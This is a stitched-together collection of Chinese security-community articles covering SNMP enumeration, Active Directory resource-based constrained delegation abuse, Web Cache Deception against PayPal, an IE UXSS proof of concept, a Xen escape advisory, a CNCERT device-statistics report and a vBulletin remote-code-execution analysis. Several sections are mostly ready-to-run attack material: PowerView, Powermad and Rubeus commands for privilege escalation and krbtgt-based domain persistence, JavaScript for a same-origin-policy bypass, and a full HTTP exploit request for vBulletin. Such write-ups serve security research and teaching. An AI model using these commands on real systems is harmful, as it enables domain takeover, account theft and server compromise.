关于Android应用程序漏洞的防护措施
<http://www.freebuf.com/articles/terminal/134018.html>
Microsoft OneDrive iOS App 8.13 URI处理不当
<https://cxsecurity.com/issue/WLB-2017050071>
OpenVPN 2.4.0未认证的拒绝服务
<https://www.exploit-db.com/exploits/41993/>
XXE漏洞利用的一些技巧
<http://www.91ri.org/17052.html> | 社区文章 |
## 0x00. SNMP协议简介
### 简单网络管理协议（SNMP）是TCP／IP协议簇的一个应用层协议，工作在UDP
161端口，用于监控目标设备的操作系统、硬件设备、服务应用、软硬件配置、网络协议状态、设备性能及资源利用率、设备报错事件信息、应用程序状态等软硬件信息。
* * *
### 0x01.MIB-管理信息库
###
管理信息库MIB：任何一个被管理的资源都表示成一个对象，称为被管理的对象，MIB是被管理对象的集合。它定义了被管理对象的一系列属性：对象的名称、对象的访问权限和对象的数据类型等。每个SNMP设备（Agent）都有自己的MIB。MIB也可以看作是NMS（网管系统）和Agent之间的沟通桥梁。
### [*] 如上图所示，MIB是一种树形结构数据库，每个管理对象对应一个OID，如：.1.3.6.1.2.1.2.1.7
* * *
## 0x02. SNMP安装简介
###
由上面介绍的SNMP服务可以看出SNMP对于渗透测试者来说简直就是信息宝藏，一旦这个服务协议被利用，那么目标的大部分配置信息都会暴露无遗，对于企业来说这是致命的，而想要利用这个协议的弱点只需要服务器管理员缺乏安全意识做一些默认配置。
### SNMP安装：
### 1\. 打开控制面板卸载程序，然后进行如下操作就能安装SNMP服务
### 2\. 在菜单栏输入 services.msc ，然后右键属性配置SNMP server，进行如下默认配置，然后重启服务
* * *
## 0x03. snmp-check 用法简介
## snmp-check 支持对windows、类Unix、网络设备、打印机等安装SNMP服务的设备进行攻击。
### 攻击原理：
### snmp-check通过发送各种预定义的OID对目标进行探测，收集目标SNMP管理的信息。
### 基础语法：
### snmp-check 192.168.1.109 -c public -v 2c
### 参数：
### -p 指定SNMP服务端口
### -c 指定community（默认 public）
### -v 指定snmp版本（1、2c，默认1）
### -w 检查是否可写
### -r 重试次数（默认1次）
### -t 超时时长（默认5秒）
### -d 禁用TCP 连接尝试
* * *
## 0x04. snmp-check实战
### 环境准备：
### 靶机win 7 IP=192.168.1.09
### kali Linux
### 实战演示：
### 1\. 靶机开启SNMP服务，并进行默认配置
### 2\. 利用snmp-check 获取靶机信息
> snmp-check 192.168.1.109 -c public -v 2c
>
> | 社区文章 |
## 前言
这篇文章原本是前几天就开始写（水）了，结果我们老师叫我们把2K字的社会实践报告重写一篇，结果拖了两天QAQ。言归正传，前几天看了A-Team的公众号上发了一篇文章《微软不认的“0day”之域内本地提权-烂番茄（Rotten Tomato）》以及`Elad
Shamir`大佬的文章，看完之后自己也去搞了一下，踩了一点小坑，下面记录一下。
## 基于资源的约束委派利用
基于资源的约束委派（Resource-based constrained
delegation），它除了不再需要域管理员权限去设置相关属性之外，请求ST的过程是和传统的约束委派大同小异，原理我之前也在[这篇文章](https://xz.aliyun.com/t/7217#toc-9)说过了，所以关于原理这部分我这里就不多赘述了，不过还要注意一点就是传统的约束委派S4U2Self返回的票据一定是可转发的，如果不可转发那么S4U2Proxy将失败；但是基于资源的约束委派不同，就算S4U2Self返回的票据不可转发（可不可以转发由TrustedToAuthenticationForDelegation决定），S4U2Proxy也是可以成功，并且S4U2Proxy返回的票据总是可转发。如果还想更深入了解的话可以看`Elad
Shamir`的这篇文章[《Wagging the Dog: Abusing Resource-Based Constrained Delegation
to Attack Active Directory》](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)，这篇文章可以说是总结得非常全
利用条件：简单来说就是你获得的用户对该主机的属性具有写权限，那么这个用户就可以对该主机进行攻击
利用环境：
* 域：test.local
* 域控为：dm2012.test.local，Windows Server 2012R2
* 目标主机：dm2008.test.local，windows Server 2008R2
* 用户：qiyou，对dm2008.test.local主机具有写权限
* 其它域内主机：win10
验证qiyou这个用户对dm2008是否具有写权限，可以使用PowerView枚举`DM2008.test.local`的中的特定ACE
Get-DomainUser -Identity qiyou -Properties objectsid
Get-DomainObjectAcl -Identity DM2008 | ?{$_.SecurityIdentifier -match "S-1-5-21-662417213-3583657854-423750704-1001"}
可以看到qiyou这个用户对dm2008这个计算机账户拥有完全控制权限（GenericAll），其实也不一定需要`GenericAll`权限，`GenericWrite`、`WriteProperty`、`WriteDacl`等等权限都是可以修改账户属性的。
我们现在还需要的是一个具有SPN的账户，因为`S4U2Self`只适用于具有SPN的账户，恰好的是在域中有一个属性`MachineAccountQuota`，这个值表示的是允许用户在域中创建的计算机帐户数，默认为10，这意味着我们如果拥有一个普通的域用户那么我们就可以利用这个用户最多可以创建十个新的计算机帐户，而计算机账户默认是注册`RestrictedKrbHost/domain`和`HOST/domain`这两个SPN的，所以这里刚好符合我们的意图。
我们可以使用`Kevin Robertson`的`Powermad`中的`New-MachineAccount`来创建一个用户名为`evilsystem`，密码为`evil`的计算机账户
New-MachineAccount -MachineAccount evilsystem -Password $(ConvertTo-SecureString "evil" -AsPlainText -Force)
可以看到成功创建一个计算机用户`evilsystem`
下面是修改DM2008的`msDS-AllowedToActOnBehalfOfOtherIdentity`属性的值，有两种方法可以修改，`Powerview`或者`ActiveDirectory`模块
配置evilsystem到DM2008的基于资源约束的委派
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-662417213-3583657854-423750704-1115)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DM2008| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
还要注意一点的就是，`msds-allowedtoactonbehalfofotheridentity`属性的值是表示安全描述符的字节数组，所以是不能直接使用字符串型，否则会出现约束冲突的情况。
验证是否成功添加
Get-DomainComputer DM2008 -Properties msds-allowedtoactonbehalfofotheridentity
若想清除msds-allowedtoactonbehalfofotheridentity属性的值，可用如下命令：
Set-DomainObject DM2008 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
通过`ActiveDirectory`模块添加：
> 只有Windows Server 2012以及以上的`ActiveDirectory`模块才有-> PrincipalsAllowedToDelegateToAccount选项
Set-ADComputer DM2008 -PrincipalsAllowedToDelegateToAccount evilsystem$
Get-ADComputer DM2008 -Properties PrincipalsAllowedToDelegateToAccount
`ActiveDirectory`模块默认只在域控上安装，如果不是域控可以从域控上把DLL文件复制出来，然后导入即可
import-module Microsoft.ActiveDirectory.Management.dll
配置完`msDS-AllowedToActOnBehalfOfOtherIdentity`属性之后就可以通过基于资源的约束委派去攻击目标主机了
现在是无法访问dm2008的
因为Rubeus是不支持明文的，所以先把它转换为hash
Rubeus.exe hash /user:evilsystem /password:evil /domain:test.local
然后用`evilsystem$`的hash请求白银票据并导入到当前会话中
Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt
导入之后尝试访问dm2008
但是Rubeus申请的票据和impacket申请的缓存票据貌似还是有一丝的差别，这里用Psexec返回一个shell启动服务失败
因为PsExec是通过服务和命名管道来返回一个shell的，所以这里尝试直接创建一个服务，发现是没有权限创建服务的
但是我额外申请了一个HOST票据之后，就正常了。。。。。
**注：** 但是如果你只是申请HOST票据，而没有申请CIFS票据的也是不能正常返回一个shell的，原因不明
Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:host/dm2008 /ptt
将该票据导入之后就可以成功返回shell
整个过程如下
但是如果你是使用impacket套件请求的缓存票据的话，直接CIFS服务就可以了，排除是PsExec的问题这里使用了impacket套件的psexec.py和微软的Psexec.exe做对比
所以总的来说，如果你是用Rubeus你就得申请两个服务票据：HOST和CIFS，如果是用impacket套件的话就申请个CIFS就可以了。
至于具体原因暂时还不清楚，抓包也没有看出啥原因，这里先留一个坑，有时间再去研究一下。。。
## 解决敏感用户不可委派的问题
利用条件：知道目标的主机账户的凭证
**注：**
一般情况下主机在加入域中会随机设置主机账户的密码，所以一般情况下用的是主机账户hash，并且你是不能修改主机账户的密码，否则该主机就会和域失去信任。
在域环境中，高权限用户如果没有特殊需求的情况下，考虑到安全性一般是设置为不可委派，或者是加入受保护组
下面我们把administrator设置成不可委派以及加入受保护组，如图
可以看到administrator是不可委派并且是受保护组的成员
**注：** 我看`Elad Shamir`的文章里面说需要设置目标自身的委派，但是我在实现的过程中发现不设置也是可行的。
这时候我们在通过s4u去申请一下票据，这个时候`S4U2self`是成功的，但是`S4U2proxy`是失败的
Rubeus.exe s4u /user:dm2008$ /rc4:b5cffac3d2bb5d5a7ded8ff2a70c29dc /impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt
也就是说账户不可委派以及受保护组的成员是不影响S4U2Self的，可以使用`Rubeus
describe`查看一下S4U2self返回的票据信息，可以看到该票据是没有服务名称的，并且不可转发
**注：**
如果该账户设置了`TrustedToAuthForDelegation`为True，则S4U2Self生成的票据是可转发的，默认为False。详情看`Elad
Shamir`文章的这一节：`A Misunderstood Feature #1`
因为是服务名称缺失，所以用ASN.1
Editor将票据修改一下即可，具体参考这两篇文章：[链接1](https://www.secureauth.com/blog/kerberos-delegation-spns-and-more)、[链接2](https://docs.microsoft.com/en-gb/windows/security/threat-protection/security-policy-settings/microsoft-network-server-server-spn-target-name-validation-level)
把SPN添加上即可
修改之后将其导入即可
HOST票据同理改一下即可，改了之后导入即可得到一个shell，
整个过程如下：
修改票据的过程貌似有点繁琐是吧，`harmj0y`之前就考虑了这一点，所以在Rebeus加入了一个模块可以直接修改票据的SPN，命令如下：
Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:ldap [/ptt] [/luid]
Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:cifs/computer.domain.com [/ptt] [/luid]
我们上面的过程可以直接省略为：
Rubeus.exe tgssub /ticket:test.kirbi /altservice:cifs/dm2008 /ptt
Rubeus.exe tgssub /ticket:test.kirbi /altservice:host/dm2008 /ptt
如下：
## 利用基于资源的约束委派进行域权限维持
这个就不用我多说了，上面的过程能理解的话这应该可以理解，主要有两种方法：
1. 配置evilsystem到krbtgt基于资源的约束委派
2. 配置evilsystem到域控基于资源的约束委派
这里就以第一种方法为例，下面配置evilsystem到krbtgt基于资源的约束委派
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-662417213-3583657854-423750704-1115)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Set-DomainObject krbtgt -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
尝试是否可以请求到TGT
Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:krbtgt /ptt
然后利用`S4U2proxy`返回的TGT去申请一张访问域控cifs服务的ST
Rubeus.exe asktgs /user:evilsystem$ /enctype:rc4 /service:cifs/dm2012 /domain:test.local /ticket:test.kirbi /ptt
Rubeus一个一个请求票据有点小麻烦，直接用impacket套件会快一点
成功达到了域权限维持的效果
下面展示Rubeus和impacket套件两种方法的利用的过程：
## End
更多的利用场景可以参考`Elad Shamir`的那篇文章。最后，非常感谢`Elad Shamir`以及A-Team分享的文章，学到很多
## Reference
[Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack
Active Directory](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)
[A Case Study in Wagging the Dog: Computer
Takeover](http://www.harmj0y.net/blog/activedirectory/a-case-study-in-wagging-the-dog-computer-takeover/)
[微软不认的“0day”之域内本地提权-烂番茄（Rotten
Tomato）](https://mp.weixin.qq.com/s?__biz=MzI2NDk0MTM5MQ==&mid=2247483689&idx=1&sn=1d83538cebbe2197c44b9e5cc9a7997f&chksm=eaa5bb09ddd2321fc6bc838bc5e996add511eb7875faec2a7fde133c13a5f0107e699d47840c&scene=126&sessionid=1584603915&key=cf63f0cc499df801cce7995aeda59fae16a26f18d48f6a138cf60f02d27a89b7cfe0eab764ee36c6208343e0c235450a6bd202bf7520f6368cf361466baf9785a1bcb8f1965ac9359581d1eee9c6c1b6&ascene=1&uin=NTgyNDEzOTc%3D&devicetype=Windows+10&version=62080079&lang=zh_CN&exportkey=A8KlWjR%2F8GBWKaJZTJ2e5Fg%3D&pass_ticket=B2fG6ICJb5vVp1dbPCh3AOMIfoBgH2TXNSxmnLYPig8%3D) | 社区文章 |
# 【技术分享】浅析 Web Cache 欺骗攻击（含演示视频）
|
##### 译文声明
本文是翻译文章，文章来源：blogspot.co.il
原文地址：<http://omergil.blogspot.co.il/2017/02/web-cache-deception-attack.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[ **running_wen**](http://bobao.360.cn/member/contribute?uid=345986531)
**预估稿费：110RMB**
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
不知你是否曾经闪现过一个想法，当我们访问<https://www.paypal.com/myaccount/home/stylesheet.css>，或者<https://www.paypal.com/myaccount/settings/notifications/logo.png>可能暴露敏感数据，甚至攻击者能控制我们的账户。binggo！你要是有过这个想法就对了，Web
cache欺骗就是这种情形下的一种攻击向量。
**漏洞背景介绍**
网站通常都会通过如CDN、负载均衡器、或者反向代理来实现Web缓存功能。通过缓存频繁访问的文件，降低服务器响应延迟。例如，网站“htttp://[www.examplecom](http://www.examplecom)
”配置了反向代理。对于那些包含用户个人信息的页面，如“http://www.example.com/home.php”，由于每个用户返回的内容有所不同，因此这类页面通常是动态生成，并不会在缓存服务器中进行缓存。通常缓存的主要是可公开访问的静态文件，如css文件、js文件、txt文件、图片等等。此外，很多最佳实践类的文章也建议，对于那些能公开访问的静态文件进行缓存，并且忽略HTTP缓存头。
Web cache攻击类似于RPO相对路径重写攻击 **(**[
**link1**](http://www.thespanner.co.uk/2014/03/21/rpo/) **,**[
**link2**](http://blog.innerht.ml/rpo-gadgets/) **)**
，都依赖于浏览器与服务器对URL的解析方式。当访问不存在的URL时，如“<http://www.example.com/home.php/non-existent.css?>
”,浏览器发送get请求，依赖于使用的技术与配置，服务器返回了页面“<http://www.example.com/home.php>
”的内容，同时URL地址任然是“[http://www.example.com/home.php/non-existent.css”，http头的内容也与直接访问“http://www.example.com/home.php](http://www.example.com/home.php/non-existent.css%E2%80%9D%EF%BC%8Chttp%E5%A4%B4%E7%9A%84%E5%86%85%E5%AE%B9%E4%B9%9F%E4%B8%8E%E7%9B%B4%E6%8E%A5%E8%AE%BF%E9%97%AE%E2%80%9Chttp://www.example.com/home.php)
”相同，cacheing header、content-type（此处为text/html）也相同。
**漏洞成因**
当代理服务器设置为缓存静态文件并忽略这类文件的caching header时，访问“<http://www.example.com/home.php/no-existent.css> ”时，会发生什么呢？整个响应流程如下：
1.浏览器请求<http://www.example.com/home.php/no-existent.css> ；
2.服务器返回<http://www.example.com/home.php> 的内容(通常来说不会缓存该页面)；
3.响应经过代理服务器；
4.代理识别该文件有css后缀；
5.在缓存目录下，代理服务器创建目录home.php，将返回的内容作为non-existent.css保存。
**漏洞利用**
攻击者欺骗用户访问“<http://www.example.com/home.php/logo.png>
”,导致含有用户个人信息的页面被缓存，从而能被公开访问到。更严重的情况下，如果返回的内容包含session标识、安全问题的答案，或者Csrf
token。这样攻击者能接着获得这些信息，因为通常而言大部分网站静态资源都是公开可访问的。整个流程如图1所示：
图1 web cache漏洞利用
**漏洞存在的条件**
漏洞要存在，至少需要满足下面两个条件：①web cache功能根据扩展进行保存，并忽略caching
header；②当访问如“[http://www.examplecom/home.php/non-existent.css](http://www.examplecom/homephp/non-existent.css)”不存在的页面，会返回“home.php”的内容。
**漏洞防御**
防御措施主要包括3点：①设置缓存机制，仅仅缓存http caching
header允许的文件，这能从根本上杜绝该问题；②如果缓存组件提供选项，设置为根据content-type进行缓存；③访问“<http://www.example.com/home.php/non-existent.css>”这类不存在页面，不返回“home.php”的内容，而返回404或者302。
**Web Cache欺骗攻击实例Paypal**
Paypal在未修复之前，通过该攻击，可以获取的信息包括：用户姓名、账户金额、信用卡的最后4位数、交易数据、emaill地址等信息。
受该攻击的部分页面包括：“<https://www.paypal.com/myaccount/home/attack.css>
”、“<https://www.paypal.com/myaccount/settings/notifications/attack.css>
”、“<https://history.paypal.com/cgi-bin/webscr/attack.css?cmd=_history-details>
”。
可以缓存页面的静态文件后缀如下：aif、aiff、au、avi、bin、bmp、cab、carb、cct、cdf、class、css、doc、dcr、dtd、gcf、gff、gif、grv、hdml、hqx、ico、ini、jpeg、jpg、js、mov、mp3、nc、pct、ppc、pws、swa、swf、txt、vbs、w32、wav、wbmp、wml、wmlc、wmls、wmlsc、xsd、zip。
缓存有效期：经过测试，一旦文件被访问，它就会被缓存大约5小时。如果这之间该文件又被访问，则有效期延长。
Paypal访问页面与对应视频：
[https://www.paypal.com/myaccount/home](https://youtu.be/pLte7SomUB8)
[https://www.paypal.com/myaccount/settings](https://youtu.be/e_jYtALsqFs)
[https://history.paypal.com/cgi-bin/webscr?cmd=_history-details](https://youtu.be/dgZVe7D8SRE)
**IIS demo实验**
视频中，测试网站使用了IIS负载均衡器。登录后，会重定向到“welcome.php”页面，该页面包含
了用户信息，而负载均衡器设置为缓存所有css文件，并忽略其caching
header。当登录用户访问“<http://wwwsampleapp.com/welcome.php/stylesheetcss>
”，负载均衡器创建目录welcome.php，并保存为stylsheet.css。 | 社区文章 |
# 【技术分享】IE上的UXSS/SOP绕过-再次冒险在无域的世界
|
##### 译文声明
本文是翻译文章，文章来源：brokenbrowser.com
原文地址：<http://www.brokenbrowser.com/uxss-ie-domainless-world/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[scriptkid](http://bobao.360.cn/member/contribute?uid=2529059652)
稿费：100RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
几个月前，我们曾在Edge上玩耍过[无域的about:blank](https://www.brokenbrowser.com/uxss-edge-domainless-world/)页面。基本上，一个强有力的about:blank
document可以无限制地访问任何域。该问题在最近[关于CVE-2017-0002的补丁上得到修复](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0002)，所以将不再起作用。同样由[ActiveXObject/htmlFile](https://www.brokenbrowser.com/uxss-ie-htmlfile/)引发的问题也在上周关于[CVE-2017-0154](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0154)的补丁中被[修复](https://technet.microsoft.com/library/security/MS17-006)了。如果你还没有阅读过前面提到两种达到UXSS/SOP绕过方式的文章，请现在就去查阅下，因为我们接下来的内容将假设你已经熟悉这两种方式。我们今天的目标是将我们之前Edge上的bug利用移植到IE上，这将很容易，因为[微软对IE的不认真修复](https://www.brokenbrowser.com/on-patching-security-bugs/)。先看下这些漏洞当前的状态：
**
**
**在IE上创建一个无域的about:blank**
在之前的bug上，我们使用data:uri来创建一个无域的blank，我们要怎么在IE上实现相同的结果呢？htmlFile再次给我们提供了帮助，因为补丁让我们无法再设置为任意域，但是我们依旧可以将其设置为blank或者无域。
为了创建一个无域的htmlFile，我们首先需要一个被销毁的document，也就是说，document将不复存在。我们如何在什么都没有的基础上创建东西？这是[Neil
deGrasse
Tyson](https://twitter.com/neiltyson)提出的另一个问题，我将做出最好的回复！事实上，思路很简单，我们只需要确保一切按照正确的顺序进行即可。
1、保存iframe的对ActiveXObject的引用
2、至少实例化一次htmlFile(这样IE就没有销毁掉它)
3、阻断iframe进程(这样IE就没有机会销毁我们的引用)
4、销毁iframe的document(用document.open)
5、再次实例化htmlFile，现在它是无域的了。
步骤2和3在这里非常重要，少了步骤2将导致我们无法保存一个可用的引用，少了步骤3将是IE可以销毁相应对象。我们之前已经在[这篇文章](https://www.brokenbrowser.com/uxss-ie-htmlfile/)中提到过线程阻断的思路。我们接下来将使用的线程阻断技术是非常直观的弹框。
**无域的htmlFile**
// We will attack the iframe below
// <iframe name="victim_iframe" src="https://www.google.com/recaptcha/..."></iframe>
// Render an iframe (we will destroy its document later)
document.body.insertAdjacentHTML('beforeEnd','<iframe name="ifr"></iframe>');
// Save a reference to its ActiveXObject
var ifr_ActiveXObject = ifr.ActiveXObject;
// Make sure IE does not invalidate our reference
new ifr_ActiveXObject("htmlFile"); // We don't even need save this instance
// Block the iFrame so the ActiveXObject object is never destroyed
ifr.setTimeout('alert("Do not close me until the PoC finishes, please.");');
你是否意识到我们使用了setTimeout来执行阻断弹框？这是因为我们还需要继续做其他事，如果我们直接在iframe弹框，这将阻断UI导致后续功能不执行。我们现在的目标是在弹框期间销毁iframe的内容。记住，弹框是用来阻止IE销毁ActiveXObject的。
现在我们将销毁iframe的document并创建无域的htmlFile。如果你对document.open不熟悉，那么在这个PoC中，你可以将其类比为document.write。
// Destroy the iframe document
ifr.document.open();
// Instantiate a domainless htmlFile
var domainlessDoc = new ifr_ActiveXObject("htmlFile");
现在，我们拥有了一个无域的htmlFile，我们所需要做的就仅仅是加载一个带有我们要访问的URL的iframe了。具体的做法在之前的[冒险在无域的世界](https://www.brokenbrowser.com/uxss-edge-domainless-world/)文章中提到过了。实质上，我们通过iframe加载任意的网站，将其修改为about：blank(iframe所属域)。接着我们就可以通过我们的无域htmlFile任意访问该blank(绕过SOP)。
// Inject the code in victim's inner iframe
domainlessDoc.parentWindow.setTimeout("victim_iframe[0].location = 'javascript:alert(pare
上述适用于IE10和IE11，但只要稍微调整即可适用于IE6到IE11.我们不会在这里做调整，但如果你真的好奇，请[让我知道](https://twitter.com/magicmac2000)。
[**[IE10/11上的PoC]** ****](http://www.cracking.com.ar/demos/ieuxssdomainless)
记住，htmlFile还有许多玩法在等着被发现，我相信这值得你花费一个下雨的午后来研究它。在我看来，修复htmlFile相关的bug的最好方式是完全禁止它在iexplore.exe上的实例化。
// If this code returns ACCESS_DENIED attackers will lose an amazing weapon
new ActiveXObject("htmlFile"); // Do not allow this anymore! | 社区文章 |
# Xen安全公告XSA-182和XSA-183-可造成虚拟机穿透
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**author:cyg07@360云安全团队**
**今天Xen更新了2个重要的补丁公告XSA-182和XSA-183,其中XSA-182可以造成直接的虚拟机穿透,建议使用Xen
PV模式的云平台尽快更新补丁。**
XSA-182问题描述:
Xen
PV模式存在快速路径来更新已存在的页表目录,该功能主要是为了在安全状态(认为是安全的状态下)下减少重复验证的开销,比如只清除页表上的Access/Dirty。但是考虑得还是太宽泛,不够严谨、安全。
从补丁上看,官方启用了标志位白名单策略来修复这个问题。
影响:
PV模式的虚拟机管理员可以利用该漏洞穿透到宿主机系统。
影响系统:
所有的Xen版本都受影响。
使用PV模式的x86硬件平台可以被攻击者利用。
只运行HVM模式或ARM虚拟机的Xen平台无法被攻击者利用。
缓解措施:
只启用HVM模式运行Xen虚拟机。
更多信息请查看:
[http://xenbits.xen.org/xsa/advisory-182.html](http://xenbits.xen.org/xsa/advisory-182.html)
[http://xenbits.xen.org/xsa/advisory-183.html](http://xenbits.xen.org/xsa/advisory-183.html) | 社区文章 |
作者： [国家互联网应急中心CNCERT](https://mp.weixin.qq.com/s/wOpBj4QynO9tC6glb4n96Q
"国家互联网应急中心CNCERT")
CNCERT对2017年第四季度国内网络访问情况进行了抽样分析，重点是对操作系统及浏览器占比情况进行了统计，发现以下特点：
1. 通过移动终端上网的用户数量已远远超过通过PC终端上网的用户数量。
2. PC端操作系统中，Windows操作系统仍占据绝对优势；移动端操作系统中，Android操作系统占比远远超过iOS操作系统。
3. 使用Windows XP操作系统的终端数量占比较高，由于微软已在2014年4月8日停止Windows XP系统的更新，因此建议这部分用户尽早更新操作系统版本，以提高其安全性能，防患于未然。
4. 使用Android操作系统的用户在系统更新实时性上远低于使用iOS操作系统的用户。
以下是详细统计情况。
#### 1 终端类型整体分布情况
对可确定终端类型的网络访问进行分析，发现分布情况如下，PC端占比为34.41%，移动端（包括手机、平板、iPod等）占比为65.59%。终端类型分布如图1所示：
图1 终端类型分布
#### 2 操作系统分布情况
###### PC端操作系统分布情况
对PC端操作系统的分布情况进行分析，其中Windows操作系统占比仍居第一，高达93.06%。Mac
OS操作系统占比4.36%，Linux操作系统占比2.55%，Unix操作系统占比0.01%，其他PC端操作系统共占比0.92%。PC端操作系统分布情况如图2所示：
图2 PC端操作系统分布情况
对Windows操作系统各版本分布情况进一步分析，发现Windows7操作系统占比最高，为54.19%。
其次是Windows XP操作系统，占比为24.73%，但由于微软已在2014年4月8日提醒Windows
XP系统的更新，因此建议这部分用户尽早更新操作系统版本，以提高其安全性能，防患于未然。
此外，Windows10占比为8.34%，Windows8占比为4.92%，Windows8.1占比为3.78%，其他Windows操作系统占比4.04%。
Windows操作系统分布如图3所示：
图3 Windows操作系统分布
###### 移动端操作系统分布情况
对移动端操作系统的分布情况进行分析，其中Android操作系统占比最高，为72.29%，iOS操作系统占比27.67%，Symbian操作系统占比0.01%，其他移动端操作系统占比0.03%。移动端操作系统分布情况如图4所示：
图4 移动端操作系统分布情况
在Android操作系统中，Android7.0占比最高为28.11%，Android6.0占比为24.76%，Android5.1占比为18.63%，Android4.4占比为10.11%，Android5.0占比为3.76%，Android8.0占比为1.02%,
其他Android操作系统占比为13.59%。
目前，Android操作系统已推出最新版本Android8.1，但Android7.0和Android6.0的使用占比仍最高，而Android8.0的占比仅为1%，可见Android用户对操作系统更新不够及时，可能存在较大安全隐患。
Android操作系统如图5所示：
图5 Android操作系统分布
在iOS操作系统中，iOS11占比最高为37.69%，iOS10占比为32.72%，iOS9占比为14.43%，iOS8占比为6.49%，其他iOS操作系统占比为8.67%。iOS操作系统分布如图6所示：
图6 iOS操作系统分布
#### 3 浏览器分布情况
###### PC端浏览器分布情况
在PC端的浏览器中，IE浏览器占比最高，为36.80%。Chrome浏览器占比30.08%，Firefox浏览器占比15.15%，QQ浏览器占比3.57%，搜狗浏览器占比2.92%，2345浏览器占比2.42%，Edge浏览器占比1.09%，Safari浏览器占比1.00%，猎豹浏览器占比0.92%，遨游Maxthon浏览器占比0.53%，360浏览器占比0.51%，其他浏览器占比5.02%。PC端浏览器分布情况如图7所示：
图7 PC端浏览器分布情况
对IE浏览器各版本分布情况进行分析，发现IE8占比最高，为32.54%，IE7占比为24.38%、IE9占比为19.41%、IE6占比为15.88%、IE10占比为5.36%、IE11占比为0.49%，其他IE浏览器版本占比1.94%。PC端IE浏览器分布情况如图8所示：
图8 PC端IE浏览器分布情况
###### 移动端浏览器分布情况
在移动端的浏览器中，QQ浏览器占比最高，为23.35%，UC浏览器占比20.78%，Chrome浏览器占比19.50%，OPPO浏览器占比9.43%，Safari浏览器占比7.01%，vivo浏览器占比4.34%，MIUI浏览器占比4.06%，三星浏览器占比1.20%，魅族浏览器占比1.10%，百度浏览器占比1.07%，乐视浏览器占比0.51%，搜狗浏览器占比0.50%，其他移动端浏览器占比7.14%。移动端浏览器分布情况如图9所示：
图9移动端浏览器分布情况
#### 4 移动端厂商（机型）分布情况
###### Android设备厂商分布情况
在Android设备厂商中，OPPO占比最高，为19.78%，华为占比为19.38%，vivo占比为16.76%，小米占比为11.03%，三星占比为6.36%，魅族占比为3.80%，其他厂商占比为22.90%。Android设备厂商分布情况如图10所示：
图10 Android手机厂商分布情况
#### iPhone手机的机型分布情况
在iPhone手机中，iPhone6s
Plus占比最高，为18.57%，iPhone6s占比为15.75%，iPhone7占比为10.58%，iPhone7
Plus占比为8.77%，iPhone8
Plus占比为7.55%，iPhone8占比为6.18%，iPhone6占比为4.84%，iPhone5占比为2.94%，iPhone5s占比为1.52%，iPhoneX占比为0.86%，iPhoneSE占比为0.28%，其他机型占比为22.15%。iPhone机型分布情况如图11所示：
图11 iPhone机型分布情况
* * * | 社区文章 |
之前没时间记录，趁国庆放假补上。
## 环境搭建
系统需要至少满足以下要求：
* Apache 2.2+, IIS 7+ or NGINX 1.4+
* PHP 5.3.7
* MySQL 5.1.5
* mod_rewrite, URL Rewrite or equivalent.
* Additional PHP Modules: MySQLi, cURL, OpenSSL Support, iconv, mbstring, JSON Support, XML Support
如果你还是不太清楚自己的环境是否符合要求，可以下载官方的环境检测程序：<http://files.vbulletin.com/vb_test.zip>
。这里，我的环境是 **Ubuntu16.04+Apache+PHP 5.6.40** ，下面是环境满足要求的结果图。
开启、配置 **Apache** 的 **rewrite** 模块，这里以 **Ubuntu、debian** 为例：
sudo a2enmod rewrite #开启rewrite模块
sudo vim /etc/apache2/apache2.conf
# 找到如下内容：
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
# 将AllowOverride None改成AllowOverride All
sudo systemctl restart apache2
找到网站根目录下的 **config.php.bkp** 文件，将其重命名成 **config.php** 。找到
**webroot/core/includes/config.php.new** 文件，将其重命名成 **config.php** ，并修改以下字段：
修改保存后，访问 **<http://website/core/install/install.php>** 即可开始安装网站程序。
## 漏洞分析
我们先来看下本次漏洞的 **EXP** ，可以发现其构造并不复杂。
POST /vBulletin/index.php HTTP/1.1
Host: 192.168.0.106
Cookie: XDEBUG_SESSION=PHPSTORM
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
routestring=ajax/render/widget_php&widgetConfig[code]=phpinfo();
接下来，我们直接从入口文件开始跟进。在下图 **第38行** 处下断点，当我们直接单步跳过时，会发现代码执行漏洞被触发了，说明漏洞代码应该在
**vB5_Frontend_ApplicationLight** 类的 **execute**
方法中。（下图对应文件位置：vBulletin514/index.php）
我们跟进 **execute** 方法，会发现其会去调用 **vB5_Frontend_ApplicationLight** 类的
**callRender**
